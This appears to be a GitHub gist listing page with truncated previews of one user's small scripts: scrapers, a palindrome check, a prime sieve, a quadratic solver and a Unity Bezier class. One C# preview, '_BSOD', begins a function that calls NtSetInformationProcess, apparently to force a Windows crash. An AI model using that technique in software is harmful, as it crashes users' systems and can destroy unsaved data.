This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
[DllImport("ntdll.dll")] | |
public static extern int NtSetInformationProcess(IntPtr p, int c, ref int i, int l); | |
void _BSOD() | |
{ | |
Process p = Process.GetCurrentProcess(); | |
int g = 1; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (!File.Exists("Newtonsoft.Json.dll")) | |
{ | |
byte[] resf; | |
resf = Properties.Resources.Newtonsoft_Json; | |
File.WriteAllBytes("Newtonsoft.Json.dll", resf); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from bs4 import BeautifulSoup as bs | |
import requests | |
def main(): | |
print("Connecting to regru...") | |
url = "https://www.reg.ru/company/prices" | |
doc = bs(requests.get(url).content, "html5lib") | |
doms = doc.select("div.b-table-tlds__wrapper") | |
lists = doc.select("li.tooltip") | |
domensarray = [["Domain", "International", "Discount", "End price", "Valute"]] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package xyz.nuark; | |
import java.util.regex.Matcher; | |
import java.util.regex.Pattern; | |
/** | |
* @author Nuark | |
* @version 1.0 | |
* | |
* Класс, который решает квадратные уравнения. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
s=input() | |
print('YNEOS'[s!=s[::-1]::2]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from bs4 import BeautifulSoup as bs | |
import requests | |
import jsonpickle | |
class ACMP(object): | |
def __init__(self, task_array): | |
self.tasks = task_array | |
class Task(object): | |
def __init__(self, id, title, topic, solution, difficulty, solvability, accepted): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding:utf-8 | |
# python3 tdmp.py | |
from bs4 import BeautifulSoup as bs | |
import requests | |
import jsonpickle | |
import re | |
import os | |
proxyurl = "http://nuark.xyz/proxy.php?h&l=" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Input: start_int end_int | |
Output: Simple numbers in range from start_int to end_int | |
""" | |
k, n = map(int, input().split()) | |
a = list(range(n+1)) | |
a[1] = 0 | |
lst = [] | |
i = 2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public string GenerateStrangeString(int ccount = 18) | |
{ | |
var output = ""; | |
for (var i = 0; i < ccount; i++) | |
{ | |
output = string.Concat(output, Convert.ToChar(new Random(i).Next(0, 255))); | |
} | |
return output; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System.Collections; | |
using System.Collections.Generic; | |
using UnityEngine; | |
public class Bezier : MonoBehaviour { | |
public Transform firstObject; | |
public Transform secondObject; | |
Vector2 P0; |
OlderNewer